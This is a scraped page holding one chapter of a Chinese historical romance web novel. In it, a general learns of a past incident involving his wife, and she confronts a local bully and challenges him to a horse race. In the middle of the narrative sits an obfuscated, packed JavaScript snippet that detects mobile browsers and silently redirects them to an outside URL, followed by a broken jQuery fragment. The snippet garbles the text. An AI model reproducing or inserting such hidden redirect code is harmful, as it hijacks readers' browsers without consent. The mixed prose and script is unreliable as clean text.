默认冷灰
24号文字
方正启体

20. 对赌

作者:深巷芜酒本书字数:K更新时间:
    谢程不敢抬头。


    “事涉皇家,甚为隐秘。属下也只探听到些许风声——只知那日荥阳公主约夫人到临江楼饮茶,公主中途离开又带人折回,在茶楼大张旗鼓地搜寻夫人。最后——”


    “最后怎样?”谢越声音冷冽。


    谢程头埋得更低,“最后搜遍了整个楼都没有找到夫人,忽然听见楼外江上传来呼救声。公主故意拖延时间救人,结果捞上来才发现是被打断了腿的太子。”


    “夫人呢?”


    “荥阳公主当时一口咬定是夫人所为,却发现夫人那时正在公主府兴师问罪,后来,皇后娘娘罚了公主半月禁闭,此事便不了了之了。”


    “不了了之?”谢越眉头紧拧,难以置信,“发生这样的事,裴家就置之不理吗?”


    “听闻那几日裴相闭门谢客,此后长达半年,都不曾再与夫人有所往来……”


    谢越从案后起身,发生了这样的事,她的父兄,竟然是第一时间跟她撇清关系。


    而他,身为她的丈夫,竟然一点风声都没有听到过。


    不对,是因为他从来没有关注过她的消息,理所当然地认为在建安,在裴家眼皮子底下,她自会安然无恙。


    许是见他迟迟不语,谢程又道:“听闻第二天,夫人便乘着花车从长街招摇而过,想来夫人安然无恙,没有受伤。”


    谢越闭了下眼睛,她明媚张扬的笑容就浮现在眼前,那笑容里没有丝毫阴翳。


    没有人给她做主,她会给自己做主。


    皇室如何,太子如何,她都没有丝毫畏惧。


    “属下还查到,两年前,裴相曾想将夫人嫁入东宫,可不知为何,最后圣旨颁下来,却突然换了人。”


    谢越负手而立,“我不管他有什么理由,都不是他欺辱他人的借口!”


    司马家欺人太甚,只怕不是欺裴家,而是欺他!


    欺他在建安并无根基,欺他远在边关,便敢这样欺辱他的妻子!


    “将军!”


    门外传来李卫焦急的声音。


    谢越颔首,谢程当即会意,开门让李卫进来。


    李卫顾不得擦额头的汗:“将军,跟着夫人的车夫来报,宋伟带人要砸了褚家,夫人孤身一人去救苗娘子了!”


    ***


    纾延一抡方才从对方手中抄过的木棒,当胸又给了他一棒!


    猝不及防一连吃了两棍,对面还是个女人,宋祺又怒又羞,两边的人见状就要一拥而上!


    纾延冷冷道:“你们谁敢迈过这个台阶一步,我让你们吃不了兜着走!”


    她本就自幼养尊处优,只是从来不以身份自专,如今真的板起脸拿出气势来,加上这些时日在谢越身边学习骑射,又平添一份铁血之势。


    竟真吓得那些宵小后退了半步。


    “叫你们话事的出来!”


    一个二十出头的黑脸男子从人群中走出,吊着眼睛将她上下打量一番,将嘴角不屑地一撇,“小娘子,我劝你不要强出头。”


    纾延冷笑一声,“你就是宋伟?我还当是个什么人物,原来也是个狗眼看人低的鼠辈!”


    “你!”


    纾延一棒抢到他面前,逼得正要挥手让人打进去的宋伟一滞。


    那木棍堪堪停在他鼻前三寸。


    “这里是副将的堂邸,擅闯五品官员的宅邸,按律当杖八十,后流放!”


    宋伟闻言一愣,眼中闪过一丝慌乱,可这慌乱很快便被张狂取代。


    “你也不打听打听爷家里是混什么的,别说衙门,就是将军府里都有咱的关系!”


    “是吗,”纾延将木棍收回手里,在掌心敲了敲,“那我倒要看看是什么天大的关系,能连律法都不顾了!”


    说着,她扫视全场,“你们无故聚众,罪加一等!等会到了衙门,我倒要看你还硬不硬气!”


    这本就是一群欺软怕硬的地皮流氓,此时见她说得如此成竹在胸,仿佛衙门是她开的一样,竟都不禁有些退缩。


    宋伟狠狠地瞪了她一眼,本见她通身朴素,配饰都不见几个,料想也不过是个没名没姓的黄毛丫头。


    如今看她这架势却像丝毫不把他们,把衙门放在眼中一般!


    不知是天真还是真的深藏不露!


    不过他们要是现在把褚家砸了就跑,就算衙门来人,只要他们抵赖不认,再请姐夫疏通疏通,料想衙门也奈何他们不得。


    纾延对他心里的想法了然于胸,“这镇子不大,衙门抓人可没那么麻烦!何况我已经报了官,官差已经在来的路上,你们要跑不妨现在就跑!再迟——”


    “你少在这里妖言惑众!”


    宋伟厉声打断她,又用警告的目光扫视跟随他的人。


    纾延冷哼一声,“你们若是现在放弃武器,就此散去,一会儿官差来了,我自去解释,绝不牵连你们分毫!不然——你们也该知道,官差拿人,凡无功名在身,不论对错,一律先打二十大板!”


    “我姐夫是师爷,谁敢打我!”


    这句话已说得外强中干,并不能消去跟随者的疑虑。


    纾延冷笑一声,并不反驳,反而道:“阁下不是来谈马匹生意的吗?”


    宋伟仿佛突然找回了勇气:“对啊!就你们褚家养的那些破马,也配充为军用?!仗着你们在军中有人就敢以次充好,欺骗将军!我宋——”


    “放你娘的屁!”


    褚河不知何时出了屋,扶着狗子的手一边咳一边走到他们面前,佝偻的身躯仿若风中羸草。


    “爹!”苗苗叫了一声,赶紧去扶他。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955299|192742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纾延目光更冷,“空口白牙,就敢污人清白!你既然说我们褚家的马不好,是笃定你们家的马没有问题吗?”


    “那当然!每年马赛的第一名骑的都是我们家的马!”


    “那要是今年马赛的状元骑的是褚家的马呢!”


    “别笑掉大牙了!”宋伟拿眼将她一扫,“识相的就麻溜儿地交出份额,不然别怪大爷我不客气!”


    “如果你在马赛里赢了我,我就交出份额!”


    此言一出,对面立刻爆发出一阵哄笑声。


    “就你?”宋伟只能眼尾将她一扫,“你也不打听打听我宋大爷的名号,敢和我比骑马——”


    “你不会是不敢吧。”纾延气定神闲道。


    “笑话!”宋伟尖声道,“你个黄毛丫头,爷只怕你输不起!”


    “我输了,自然交出份额。可要是我赢了——”她顿了一顿,“你就要交出所有的份额!”


    宋伟面上闪过明显的犹豫,但这个诱惑太大。


    “怎么样,不会不敢了吧?”纾延一笑,“要是你现在知错了,从巷尾到巷口三步一拜,高喊三声我错了!我就放过你,如何?”


    宋伟双眼一瞪,狞笑一声:“做梦!想要我宋大爷低头,做你娘的春秋大梦!”


    他直指纾延,“赶紧收拾铺盖,清点马匹,等着向爷求饶吧!”


    “有功夫讲大话,不如趁官差没来快点滚!”纾延横眉冷对,毫不相让。


    宋伟指着她连说了几个你字,黝黑的面庞涨得通红,“你给我等着!”


    撂下这句,宋伟甩袖而去。


    望着黑压压的一群人纷纷转身,渐渐散去,纾延也不由长出了一口气。


    她赶紧转身去查看褚老爹的情况,不料一阵劲风突然从身后袭来!


    不等她转身,只听一声闷哼传来,木棍“咣当”一声跌掉在地。


    一个地痞哎呦着摔在地上再也爬不起来,正是方才打头阵的宋褀。


    纾延心有余悸,看向挡在自己面前的人,明烈的日光落在他脸上,却如寒秋般肃杀。


    “……谢越?”


    “有没有受伤?”


    他回头看她,冷漠的双眼顿时如乍裂的春水,满是温柔,除了温柔,还有一分她没看懂的情绪。


    纾延摇头,“你怎么会——”


    不等她说完,宋伟去而复返:“哪里来的混账玩意儿,敢动老、老子、子——”


    后半句话都被抢进泥里。


    一个身高八尺的军头将他按到在地:“大胆,将军面前也敢放肆!”


    训练有素的亲卫分成三列冲进人群,不等刀剑出鞘,一群地皮流氓便齐刷刷跪倒在地,连声告饶。


    军头手一松,宋伟不敢置信地抬眼望向上方:“将、将军?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)